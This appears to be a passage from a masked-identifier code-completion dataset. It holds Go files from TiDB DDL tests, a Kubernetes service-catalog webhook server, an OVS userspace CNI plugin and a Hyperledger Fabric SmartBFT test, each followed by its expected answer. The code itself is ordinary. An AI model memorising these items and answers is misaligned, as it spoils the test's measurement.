c.Assert(tk.ExecToErr(fc.stmt).Error(), Equals, fc.errMsg, Commentf(""%v"", fc.stmt)) } tk.MustExec(""ALTER SCHEMA CHARACTER SET = 'utf8' COLLATE = 'utf8_unicode_ci'"") verifyDBCharsetAndCollate(""alterdb2"", ""utf8"", ""utf8_unicode_ci"") tk.MustExec(""ALTER SCHEMA CHARACTER SET = 'utf8mb4'"") verifyDBCharsetAndCollate(""alterdb2"", ""utf8mb4"", ""utf8mb4_bin"") tk.MustExec(""ALTER SCHEMA CHARACTER SET = 'utf8mb4' COLLATE = 'utf8mb4_general_ci'"") verifyDBCharsetAndCollate(""alterdb2"", ""utf8mb4"", ""utf8mb4_general_ci"") } func (s *testIntegrationSuite4) TestDropAutoIncrementIndex(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test"") tk.MustExec(""use test"") tk.MustExec(""drop table if exists t1"") tk.MustExec(""create table t1 (a int auto_increment, unique key (a))"") dropIndexSQL := ""alter table t1 drop index a"" tk.MustGetErrCode(dropIndexSQL, mysql.ErrWrongAutoKey) tk.MustExec(""drop table if exists t1"") tk.MustExec(""create table t1 (a int(11) not null auto_increment, b int(11), c bigint, unique key (a, b, c))"") dropIndexSQL = ""alter table t1 drop index a"" tk.MustGetErrCode(dropIndexSQL, mysql.ErrWrongAutoKey) } func (s *testIntegrationSuite3) TestInsertIntoGeneratedColumnWithDefaultExpr(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test"") tk.MustExec(""use test"") // insert into virtual / stored columns tk.MustExec(""drop table if exists t1"") tk.MustExec(""create table t1 (a int, b int as (-a) virtual, c int as (-a) stored)"") tk.MustExec(""insert into t1 values (1, default, default)"") tk.MustQuery(""select * from t1"").Check(testkit.Rows(""1 -1 -1"")) tk.MustExec(""delete from t1"") // insert multiple rows tk.MustExec(""insert into t1(a,b) values (1, default), (2, default)"") tk.MustQuery(""select * from t1"").Check(testkit.Rows(""1 -1 -1"", ""2 -2 -2"")) tk.MustExec(""delete from t1"") // insert into generated columns only tk.MustExec(""insert into t1(b) values (default)"") tk.MustQuery(""select * from t1"").Check(testkit.Rows("" "")) tk.MustExec(""delete from t1"") tk.MustExec(""insert into t1(c) values (default)"") tk.MustQuery(""select * from t1"").Check(testkit.Rows("" "")) tk.MustExec(""delete from t1"") // generated columns with index tk.MustExec(""drop table if exists t2"") tk.MustExec(""create table t2 like t1"") tk.MustExec(""alter table t2 add index idx1(a)"") tk.MustExec(""alter table t2 add index idx2(b)"") tk.MustExec(""insert into t2 values (1, default, default)"") tk.MustQuery(""select * from t2"").Check(testkit.Rows(""1 -1 -1"")) tk.MustExec(""delete from t2"") tk.MustExec(""alter table t2 drop index idx1"") tk.MustExec(""alter table t2 drop index idx2"") tk.MustExec(""insert into t2 values (1, default, default)"") tk.MustQuery(""select * from t2"").Check(testkit.Rows(""1 -1 -1"")) // generated columns in different position tk.MustExec(""drop table if exists t3"") tk.MustExec(""create table t3 (gc1 int as (r+1), gc2 int as (r+1) stored, gc3 int as (gc2+1), gc4 int as (gc1+1) stored, r int)"") tk.MustExec(""insert into t3 values (default, default, default, default, 1)"") tk.MustQuery(""select * from t3"").Check(testkit.Rows(""2 2 3 3 1"")) // generated columns in replace statement tk.MustExec(""create table t4 (a int key, b int, c int as (a+1), d int as (b+1) stored)"") tk.MustExec(""insert into t4 values (1, 10, default, default)"") tk.MustQuery(""select * from t4"").Check(testkit.Rows(""1 10 2 11"")) tk.MustExec(""replace into t4 values (1, 20, default, default)"") tk.MustQuery(""select * from t4"").Check(testkit.Rows(""1 20 2 21"")) // generated columns with default function is not allowed tk.MustExec(""create table t5 (a int default 10, b int as (a+1))"") tk.MustGetErrCode(""insert into t5 values (20, default(a))"", mysql.ErrBadGeneratedColumn) tk.MustExec(""drop table t1"") tk.MustExec(""drop table t2"") tk.MustExec(""drop table t3"") tk.MustExec(""drop table t4"") tk.MustExec(""drop table t5"") } func (s *testIntegrationSuite3) TestParserIssue284(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table test.t_parser_issue_284(c1 int not null primary key)"") _, err := tk.Exec(""create table test.t_parser_issue_284_2(id int not null primary key, c1 int not null, constraint foreign key (c1) references t_parser_issue_284(c1))"") c.Assert(err, IsNil) tk.MustExec(""drop table test.t_parser_issue_284"") tk.MustExec(""drop table test.t_parser_issue_284_2"") } func (s *testIntegrationSuite3) TestForeignKeyOnUpdateOnDelete(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test_foreign_key_on_update"") tk.MustExec(""use test_foreign_key_on_update"") tk.MustExec(""create table t (a int)"") tk.MustExec(""create table t1 (a int, b int)"") tk.MustExec(""create table t2 (a int, b int)"") tk.MustExec(""create table t3 (a int, b int)"") tk.MustExec(""create table t4 (a int, b int)"") tk.MustExec(""alter table t1 add constraint fk_a foreign key (b) references t (a) on update restrict"") tk.MustExec(""alter table t2 add constraint fk_a foreign key (a) references t (a) on update set null"") tk.MustExec(""alter table t3 add constraint fk_a foreign key (a) references t (a) on update cascade on delete set null"") tk.MustExec(""alter table t4 add constraint fk_a foreign key (a) references t (a) on update restrict on delete set null"") tk.MustExec(""create table t5 (a int, b int, foreign key (b) references t (a) on update restrict)"") tk.MustExec(""create table t6 (a int, b int, foreign key (b) references t (a) on update restrict on delete restrict)"") } ",expectedWarn 409,"/* Copyright 2019 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( ""context"" ""fmt"" ""net/http"" scTypes ""github.com/drycc-addons/service-catalog/pkg/apis/servicecatalog/v1beta1"" ""github.com/drycc-addons/service-catalog/pkg/probe"" ""github.com/drycc-addons/service-catalog/pkg/util"" ""github.com/drycc-addons/service-catalog/pkg/webhook/inject"" csbmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/clusterservicebroker/mutation"" cscmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/clusterserviceclass/mutation"" cspmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/clusterserviceplan/mutation"" sbmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/servicebinding/mutation"" brmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/servicebroker/mutation"" scmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/serviceclass/mutation"" simutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/serviceinstance/mutation"" spmutation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/serviceplan/mutation"" csbrvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/clusterservicebroker/validation"" cscvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/clusterserviceclass/validation"" cspvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/clusterserviceplan/validation"" sbvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/servicebinding/validation"" sbrvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/servicebroker/validation"" scvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/serviceclass/validation"" sivalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/serviceinstance/validation"" spvalidation ""github.com/drycc-addons/service-catalog/pkg/webhook/servicecatalog/serviceplan/validation"" apiextensionsclientset ""k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset"" ""k8s.io/apiserver/pkg/server/healthz"" ""k8s.io/client-go/kubernetes/scheme"" ""sigs.k8s.io/controller-runtime/pkg/client/config"" ""sigs.k8s.io/controller-runtime/pkg/manager"" metricsserver ""sigs.k8s.io/controller-runtime/pkg/metrics/server"" ""sigs.k8s.io/controller-runtime/pkg/webhook"" ""sigs.k8s.io/controller-runtime/pkg/webhook/admission"" ) type wrapCtx struct { context.Context stopCh <-chan struct{} } func (e *wrapCtx) Done() <-chan struct{} { return e.stopCh } func wrapContext(stopCh <-chan struct{}) context.Context { return &wrapCtx{context.Background(), stopCh} } // RunServer runs the webhook server with configuration according to opts func RunServer(opts *WebhookServerOptions, stopCh <-chan struct{}) error { if stopCh == nil { /* the caller of RunServer should generate the stop channel if there is a need to stop the Webhook server */ stopCh = make(chan struct{}) } if err := opts.Validate(); nil != err { return err } return run(opts, stopCh) } func run(opts *WebhookServerOptions, stopCh <-chan struct{}) error { cfg, err := config.GetConfig() if err != nil { return fmt.Errorf(""while getting Kubernetes client config: %w"", err) } apiextensionsClient, err := apiextensionsclientset.NewForConfig(cfg) if err != nil { return fmt.Errorf(""while create apiextension clientset: %w"", err) } // It may take some time before Catalog CRDs registration shows up in main API Server. // We can start Service Catalog clients/informers only when CRDs are available. if err := util.WaitForServiceCatalogCRDs(cfg); err != nil { return fmt.Errorf(""while waiting for ready Service Catalog CRDs: %v"", err) } mgr, err := manager.New(cfg, manager.Options{ Metrics: metricsserver.Options{ BindAddress: fmt.Sprintf("":%d"", opts.ControllerManagerMetricsPort), }, }) if err != nil { return fmt.Errorf(""while set up overall controller manager for webhook server: %w"", err) } err = scTypes.AddToScheme(mgr.GetScheme()) if err != nil { return fmt.Errorf(""while register Service Catalog scheme into manager: %w"", err) } // setup webhook server [MASK] := webhook.NewServer(webhook.Options{ Port: opts.SecureServingOptions.BindPort, CertDir: opts.SecureServingOptions.ServerCert.CertDirectory, }) webhooks := map[string]admission.Handler{ ""/mutating-clusterservicebrokers"": &csbmutation.CreateUpdateHandler{}, ""/mutating-clusterserviceclasses"": &cscmutation.CreateUpdateHandler{}, ""/mutating-clusterserviceplans"": &cspmutation.CreateUpdateHandler{}, ""/mutating-servicebindings"": &sbmutation.CreateUpdateHandler{}, ""/mutating-servicebrokers"": &brmutation.CreateUpdateHandler{}, ""/mutating-serviceclasses"": &scmutation.CreateUpdateHandler{}, ""/mutating-serviceplans"": &spmutation.CreateUpdateHandler{}, ""/mutating-serviceinstances"": simutation.NewCreateUpdateHandler(), ""/validating-clusterservicebrokers"": csbrvalidation.NewSpecValidationHandler(), ""/validating-clusterservicebrokers/status"": &csbrvalidation.StatusValidationHandler{}, ""/validating-clusterserviceclasses"": cscvalidation.NewSpecValidationHandler(), ""/validating-clusterserviceplans"": cspvalidation.NewSpecValidationHandler(), ""/validating-servicebindings"": sbvalidation.NewSpecValidationHandler(), ""/validating-servicebindings/status"": &sbvalidation.StatusValidationHandler{}, ""/validating-servicebrokers"": sbrvalidation.NewSpecValidationHandler(), ""/validating-servicebrokers/status"": &sbrvalidation.StatusValidationHandler{}, ""/validating-serviceclasses"": scvalidation.NewSpecValidationHandler(), ""/validating-serviceplans"": spvalidation.NewSpecValidationHandler(), ""/validating-serviceinstances"": sivalidation.NewSpecValidationHandler(), } for path, handler := range webhooks { [MASK] .Register(path, &webhook.Admission{Handler: handler}) inject.ClientInto(mgr.GetClient(), handler) inject.DecoderInto(admission.NewDecoder(scheme.Scheme), handler) } // setup healthz server healthzSvr := manager.RunnableFunc(func(context.Context) error { mux := http.NewServeMux() // readiness registered at /healthz/ready indicates if traffic should be routed to this container healthz.InstallPathHandler(mux, ""/healthz/ready"", probe.NewCRDProbe(apiextensionsClient, probe.CRDProbeIterationGap)) // liveness registered at /healthz indicates if the container is responding healthz.InstallHandler(mux, healthz.PingHealthz, probe.NewCRDProbe(apiextensionsClient, probe.CRDProbeIterationGap)) server := &http.Server{ Addr: fmt.Sprintf("":%d"", opts.HealthzServerBindPort), Handler: mux, } return server.ListenAndServe() }) // register servers if err := mgr.Add( [MASK] ); err != nil { return fmt.Errorf(""while registering webhook server with manager: %w"", err) } if err := mgr.Add(healthzSvr); err != nil { return fmt.Errorf(""while registering healthz server with manager: %w"", err) } // starts the server blocks until the Stop channel is closed if err := mgr.Start(wrapContext(stopCh)); err != nil { return fmt.Errorf(""while running the webhook manager: %w"", err) } return nil } ",webhookSvr 410,"// Copyright (c) 2018-2020 Red Hat, Intel Corp. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at: // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // This module provides the library functions to implement the // OVS UserSpace CNI implementation. The input to the library is json // data defined in pkg/types. If the configuration contains local data, // the code builds up an 'ovsctl' command to proviosn the local OVS, // instance. If the configuration contains remote data, the database // library is used to store the data, which is later read and processed // locally by the remotes agent. // package cniovs import ( ""crypto/rand"" ""errors"" ""fmt"" ""os"" ""os/user"" ""path/filepath"" ""regexp"" ""strconv"" ""strings"" ""golang.org/x/sys/unix"" v1 ""k8s.io/api/core/v1"" ""k8s.io/client-go/kubernetes"" ""github.com/containernetworking/cni/pkg/skel"" current ""github.com/containernetworking/cni/pkg/types/100"" ""github.com/intel/userspace-cni-network-plugin/logging"" ""github.com/intel/userspace-cni-network-plugin/pkg/configdata"" ""github.com/intel/userspace-cni-network-plugin/pkg/types"" ) // Constants const ( defaultBridge = ""br0"" DefaultHostVhostuserBaseDir = ""/var/lib/vhost_sockets/"" ) // Types type CniOvs struct { } // API Functions func (cniOvs CniOvs) AddOnHost(conf *types.NetConf, args *skel.CmdArgs, kubeClient kubernetes.Interface, sharedDir string, ipResult *current.Result) error { var err error var data OvsSavedData logging.Infof(""OVS AddOnHost: ENTER - Container %s Iface %s"", args.ContainerID[:12], args.IfName) // // Mandatory attribute of ""ovs-vsctl add-port"" is a BridgeName. So even if // NetType is not set to ""bridge"", ""conf.HostConf.BridgeConf.BridgeName"" // should be set. If it is not, set it to default value. // if conf.HostConf.BridgeConf.BridgeName == """" { conf.HostConf.BridgeConf.BridgeName = defaultBridge } // // Create bridge before creating Interface // err = addLocalNetworkBridge(conf, args, &data) if err != nil { logging.Debugf(""AddOnHost(ovs): %v"", err) return err } // // Create Local Interface // if conf.HostConf.IfType == ""vhostuser"" { err = addLocalDeviceVhost(conf, args, sharedDir, &data) } else { err = errors.New(""ERROR: Unknown HostConf.IfType:"" + conf.HostConf.IfType) } if err != nil { logging.Debugf(""AddOnHost(ovs): %v"", err) return err } // // Bring Interface UP // // // Add Interface to Local Network // if conf.HostConf.NetType == ""interface"" { err = errors.New(""ERROR: HostConf.NetType \""interface\"" not supported."") } else if conf.HostConf.NetType != ""bridge"" && conf.HostConf.NetType != """" { err = errors.New(""ERROR: Unknown HostConf.NetType:"" + conf.HostConf.NetType) } if err != nil { logging.Debugf(""AddOnHost(ovs): %v"", err) return err } // // Save Config - Save Create Data for Delete // err = SaveConfig(conf, args, &data) return err } func (cniOvs CniOvs) AddOnContainer(conf *types.NetConf, args *skel.CmdArgs, kubeClient kubernetes.Interface, sharedDir string, pod *v1.Pod, ipResult *current.Result) (*v1.Pod, error) { logging.Infof(""OVS AddOnContainer: ENTER - Container %s Iface %s"", args.ContainerID[:12], args.IfName) return configdata.SaveRemoteConfig(conf, args, kubeClient, sharedDir, pod, ipResult) } func (cniOvs CniOvs) DelFromHost(conf *types.NetConf, args *skel.CmdArgs, sharedDir string) error { var data OvsSavedData var err error logging.Infof(""OVS DelFromHost: ENTER - Container %s Iface %s"", args.ContainerID[:12], args.IfName) // // Load Config - Retrieved squirreled away data needed for processing delete // err = LoadConfig(conf, args, &data) if err != nil { logging.Debugf(""DelFromHost(ovs): %v"", err) return err } // // Manditory attribute of ""ovs-vsctl add-port"" is a BridgeName. So even if // NetType is not set to ""bridge"", ""conf.HostConf.BridgeConf.BridgeName"" // should be set. If it is not, set it to default value. // if conf.HostConf.BridgeConf.BridgeName == """" { conf.HostConf.BridgeConf.BridgeName = defaultBridge } // // Remove Interface from Local Network // // // Delete Local Interface // if conf.HostConf.IfType == ""vhostuser"" { err = delLocalDeviceVhost(conf, args, sharedDir, &data) } else { err = errors.New(""ERROR: Unknown HostConf.Type:"" + conf.HostConf.IfType) } if err != nil { return err } // // Delete Bridge if empty // err = delLocalNetworkBridge(conf, args, &data) if err != nil { return err } return err } func (cniOvs CniOvs) DelFromContainer(conf *types.NetConf, args *skel.CmdArgs, sharedDir string, pod *v1.Pod) error { logging.Infof(""OVS DelFromContainer: ENTER - Container %s Iface %s"", args.ContainerID[:12], args.IfName) var err = configdata.FileCleanup(sharedDir, """") if err != nil { logging.Debugf(""DelFromContainer(ovs): %v"", err) } return nil } // // Utility Functions // func generateRandomMacAddress() string { buf := make([]byte, 6) if _, err := rand.Read(buf); err != nil { return """" } // Set the local bit and make sure not MC address [MASK] := fmt.Sprintf(""%02x:%02x:%02x:%02x:%02x:%02x"", (buf[0]|0x2)&0xfe, buf[1], buf[2], buf[3], buf[4], buf[5]) return [MASK] } func getShortSharedDir(sharedDir string) string { // sun_path for unix domain socket has an array size of 108 // When the sharedDir path length is greater than 89 (108 - 19) // 19 is the possible vhostuser socket file name length ""/abcdefghijkl-net99"" (1 + 12 + 1 + 3 + 2) // FIXME: why shareddir is shortened only in case that it contains ""empty-dir""? if len(sharedDir) >= 89 && strings.Contains(sharedDir, ""empty-dir"") { // Format - /var/lib/kubelet/pods//volumes/kubernetes.io~empty-dir/shared-dir parts := strings.Split(sharedDir, ""/"") // FIXME: it's not safe; can we assure that shareDir with ""empty-dir"" will always have at least 5 dirs? podID := parts[5] newSharedDir := filepath.Join(DefaultHostVhostuserBaseDir, podID) logging.Infof(""getShortSharedDir: Short shared directory: %s"", newSharedDir) return newSharedDir } return sharedDir } func createSharedDir(sharedDir, oldSharedDir string) error { var err error _, err = os.Stat(sharedDir) if os.IsNotExist(err) { err = os.MkdirAll(sharedDir, 0750) if err != nil { _ = logging.Errorf(""createSharedDir: Failed to create dir (%s): %v"", sharedDir, err) return err } if strings.Contains(sharedDir, DefaultHostVhostuserBaseDir) { logging.Debugf(""createSharedDir: Mount from %s to %s"", oldSharedDir, sharedDir) err = unix.Mount(oldSharedDir, sharedDir, """", unix.MS_BIND, """") if err != nil { _ = logging.Errorf(""createSharedDir: Failed to bind mount: %s"", err) return err } } return nil } return err } func setSharedDirGroup(sharedDir string, group string) error { groupInfo, err := user.LookupGroup(group) if err != nil { return err } logging.Debugf(""setSharedDirGroup: group %s's gid is %s"", group, groupInfo.Gid) gid, err := strconv.Atoi(groupInfo.Gid) if err != nil { return err } err = os.Chown(DefaultHostVhostuserBaseDir, -1, gid) if err != nil { return err } err = os.Chown(sharedDir, -1, gid) if err != nil { return err } return nil } func addLocalDeviceVhost(conf *types.NetConf, args *skel.CmdArgs, actualSharedDir string, data *OvsSavedData) error { var err error var vhostName string if conf.HostConf.VhostConf.Socketfile == """" { conf.HostConf.VhostConf.Socketfile = fmt.Sprintf(""%s-%s"", args.ContainerID[:12], args.IfName) } sharedDir := getShortSharedDir(actualSharedDir) err = createSharedDir(sharedDir, actualSharedDir) if err != nil { _ = logging.Errorf(""addLocalDeviceVhost: Failed to create shared dir: %v"", err) return err } group := conf.HostConf.VhostConf.Group if group != """" { err = setSharedDirGroup(sharedDir, group) if err != nil { _ = logging.Errorf(""addLocalDeviceVhost: Failed to set shared dir group: %v"", err) return err } } // Validate and convert input data clientMode := false if conf.HostConf.VhostConf.Mode == ""client"" { clientMode = true } // ovs-vsctl add-port if vhostName, err = createVhostPort(sharedDir, conf.HostConf.VhostConf.Socketfile, clientMode, conf.HostConf.BridgeConf.BridgeName); err == nil { if vhostPortMac, err := getVhostPortMac(vhostName); err == nil { data.VhostMac = vhostPortMac } else { return err } data.Vhostname = vhostName data.IfMac = generateRandomMacAddress() } else { return err } return err } func delLocalDeviceVhost(conf *types.NetConf, args *skel.CmdArgs, actualSharedDir string, data *OvsSavedData) error { sharedDir := getShortSharedDir(actualSharedDir) // ovs-vsctl --if-exists del-port err := deleteVhostPort(data.Vhostname, conf.HostConf.BridgeConf.BridgeName) if err != nil { _ = logging.Errorf(""delLocalDeviceVhost: Failed to delete port: %v"", err) return err } // Check if sharedDir is a mount dir of EmptyDir if strings.Contains(sharedDir, DefaultHostVhostuserBaseDir) { logging.Debugf(""delLocalDeviceVhost: Unmount shared directory: %v"", sharedDir) _, err = os.Stat(sharedDir) if os.IsNotExist(err) { _ = logging.Errorf(""delLocalDeviceVhost: shared directory %s does not exist to unmount"", sharedDir) return nil } err = unix.Unmount(sharedDir, 0) if err != nil { _ = logging.Errorf(""Failed to unmount dir: %v"", err) return err } err = os.Remove(sharedDir) if err != nil { _ = logging.Errorf(""Failed to remove dir: %v"", err) return err } } else { folder, err := os.Open(sharedDir) if err != nil { return err } defer folder.Close() fileBaseName := fmt.Sprintf(""%s-%s"", args.ContainerID[:12], args.IfName) filesForContainerID, err := folder.Readdirnames(0) if err != nil { return err } numDeletedFiles := 0 // Remove files with matching container ID and IfName for _, fileName := range filesForContainerID { if match, _ := regexp.MatchString(fileBaseName+""*"", fileName); match { logging.Debugf(""OVS DelFromContainer: %s matches file %s"", fileBaseName, fileName) file := filepath.Join(sharedDir, fileName) if err = os.Remove(file); err != nil { return err } numDeletedFiles++ } else { logging.Debugf(""OVS DelFromContainer: %s does NOT match file %s"", fileBaseName, fileName) } // In case the Socketfile name was passed in: if conf.HostConf.VhostConf.Socketfile != fileBaseName { if match, _ := regexp.MatchString(conf.HostConf.VhostConf.Socketfile+""*"", fileName); match { file := filepath.Join(sharedDir, fileName) if err = os.Remove(file); err != nil { return err } numDeletedFiles++ } } } // Remove folder for container ID if it's empty if numDeletedFiles == len(filesForContainerID) { if err = os.Remove(sharedDir); err != nil { return err } } } return nil } func addLocalNetworkBridge(conf *types.NetConf, args *skel.CmdArgs, data *OvsSavedData) error { var err error if found := findBridge(conf.HostConf.BridgeConf.BridgeName); !found { logging.Debugf(""addLocalNetworkBridge(): Bridge %s not found, creating"", conf.HostConf.BridgeConf.BridgeName) err = createBridge(conf.HostConf.BridgeConf.BridgeName) if err == nil { // Bridge is always created because it is required for interface. // If bridge type was actually called out, then set the // bridge up as L2 bridge. Otherwise, a controller is // responsible for writing flows to OvS. if conf.HostConf.NetType == ""bridge"" { err = configL2Bridge(conf.HostConf.BridgeConf.BridgeName) } } } else { logging.Debugf(""addLocalNetworkBridge(): Bridge %s exists, skip creating"", conf.HostConf.BridgeConf.BridgeName) } return err } func delLocalNetworkBridge(conf *types.NetConf, args *skel.CmdArgs, data *OvsSavedData) error { var err error if containInterfaces := doesBridgeContainInterfaces(conf.HostConf.BridgeConf.BridgeName); !containInterfaces { logging.Debugf(""delLocalNetworkBridge(): No interfaces found, deleting Bridge %s"", conf.HostConf.BridgeConf.BridgeName) err = deleteBridge(conf.HostConf.BridgeConf.BridgeName) } else { logging.Debugf(""delLocalNetworkBridge(): Interfaces found, skip deleting Bridge %s"", conf.HostConf.BridgeConf.BridgeName) } return err } ",macAddr 411,"/* * * Copyright IBM Corp. All Rights Reserved. * * SPDX-License-Identifier: Apache-2.0 * / * */ package smartbft import ( ""fmt"" ""io/ioutil"" ""math/rand"" ""os"" ""path/filepath"" ""strings"" ""sync"" ""syscall"" ""time"" ""github.com/tedsuo/ifrit/grouper"" docker ""github.com/fsouza/go-dockerclient"" ""github.com/golang/protobuf/proto"" ""github.com/hyperledger/fabric/integration/nwo"" ""github.com/hyperledger/fabric/integration/nwo/commands"" ""github.com/hyperledger/fabric/protos/common"" ""github.com/hyperledger/fabric/protos/msp"" protosorderer ""github.com/hyperledger/fabric/protos/orderer"" ""github.com/hyperledger/fabric/protos/orderer/smartbft"" ""github.com/hyperledger/fabric/protos/utils"" . ""github.com/onsi/ginkgo"" . ""github.com/onsi/gomega"" ""github.com/onsi/gomega/gbytes"" ""github.com/onsi/gomega/gexec"" ""github.com/tedsuo/ifrit"" ""github.com/tedsuo/ifrit/ginkgomon"" ) func init() { rand.Seed(time.Now().UnixNano()) } var _ = Describe(""EndToEnd Smart BFT configuration test"", func() { var ( testDir string client *docker.Client network *nwo.Network networkProcess ifrit.Process ordererProcesses []ifrit.Process peerProcesses ifrit.Process ) BeforeEach(func() { networkProcess = nil ordererProcesses = nil peerProcesses = nil var err error testDir, err = ioutil.TempDir("""", ""e2e-smartbft-test"") Expect(err).NotTo(HaveOccurred()) client, err = docker.NewClientFromEnv() Expect(err).NotTo(HaveOccurred()) }) AfterEach(func() { if networkProcess != nil { networkProcess.Signal(syscall.SIGTERM) Eventually(networkProcess.Wait(), network.EventuallyTimeout).Should(Receive()) } if peerProcesses != nil { peerProcesses.Signal(syscall.SIGTERM) Eventually(peerProcesses.Wait(), network.EventuallyTimeout).Should(Receive()) } if network != nil { network.Cleanup() } for _, ordererInstance := range ordererProcesses { ordererInstance.Signal(syscall.SIGTERM) Eventually(ordererInstance.Wait(), network.EventuallyTimeout).Should(Receive()) } os.RemoveAll(testDir) }) Describe(""smartbft network"", func() { It(""smartbft multiple nodes stop start all nodes"", func() { network = nwo.New(nwo.MultiNodeSmartBFT(), testDir, client, StartPort(), components) network.GenerateConfigTree() network.Bootstrap() var ordererRunners []*ginkgomon.Runner for _, orderer := range network.Orderers { runner := network.OrdererRunner(orderer) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:grpc=debug"") ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } peerGroupRunner, peerRunners := peerGroupRunners(network) peerProcesses = ifrit.Invoke(peerGroupRunner) Eventually(peerProcesses.Ready(), network.EventuallyTimeout).Should(BeClosed()) peer := network.Peer(""Org1"", ""peer0"") assertBlockReception(map[string]int{""systemchannel"": 0}, network.Orderers, peer, network) By(""check block validation policy on system channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], ""systemchannel"", common.Policy_IMPLICIT_ORDERER) By(""Waiting for followers to see the leader"") Eventually(ordererRunners[1].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) channel := ""testchannel1"" By(""Creating and joining testchannel1"") orderer := network.Orderers[0] network.CreateAndJoinChannel(orderer, channel) By(""Deploying chaincode"") nwo.DeployChaincode(network, channel, orderer, nwo.Chaincode{ Name: ""mycc"", Version: ""0.0"", Path: ""github.com/hyperledger/fabric/integration/chaincode/simple/cmd"", Ctor: `{""Args"":[""init"",""a"",""100"",""b"",""200""]}`, Policy: `AND ('Org1MSP.member','Org2MSP.member')`, }) By(""check block validation policy on app channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], channel, common.Policy_IMPLICIT_ORDERER) By(""check peers are using the BFT delivery client"") for _, peerRunner := range peerRunners { Eventually(peerRunner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Created BFT Delivery Client"")) } By(""querying the chaincode"") sess, err := network.PeerUserSession(peer, ""User1"", commands.ChaincodeQuery{ ChannelID: channel, Name: ""mycc"", Ctor: `{""Args"":[""query"",""a""]}`, }) Expect(err).NotTo(HaveOccurred()) Eventually(sess, network.EventuallyTimeout).Should(gexec.Exit(0)) Expect(sess).To(gbytes.Say(""100"")) By(""invoking the chaincode"") invokeQuery(network, peer, orderer, channel, 90) By(""Taking down all the orderers"") for _, proc := range ordererProcesses { proc.Signal(syscall.SIGTERM) Eventually(proc.Wait(), network.EventuallyTimeout).Should(Receive()) } ordererRunners = nil ordererProcesses = nil By(""Bringing up all the nodes"") for _, orderer := range network.Orderers { runner := network.OrdererRunner(orderer) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:grpc=debug"") ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } By(""Waiting for followers to see the leader, again"") Eventually(ordererRunners[1].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) By(""invoking the chaincode, again"") invokeQuery(network, peer, orderer, channel, 80) }) It(""smartbft assisted synchronization"", func() { network = nwo.New(nwo.MultiNodeSmartBFT(), testDir, client, StartPort(), components) network.GenerateConfigTree() network.Bootstrap() var ordererRunners []*ginkgomon.Runner for _, orderer := range network.Orderers { runner := network.OrdererRunner(orderer) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:grpc=debug"") ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } peerRunner := network.PeerGroupRunner() peerProcesses = ifrit.Invoke(peerRunner) Eventually(peerProcesses.Ready(), network.EventuallyTimeout).Should(BeClosed()) peer := network.Peer(""Org1"", ""peer0"") assertBlockReception(map[string]int{""systemchannel"": 0}, network.Orderers, peer, network) By(""check block validation policy on sys channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], ""systemchannel"", common.Policy_IMPLICIT_ORDERER) By(""Waiting for followers to see the leader"") 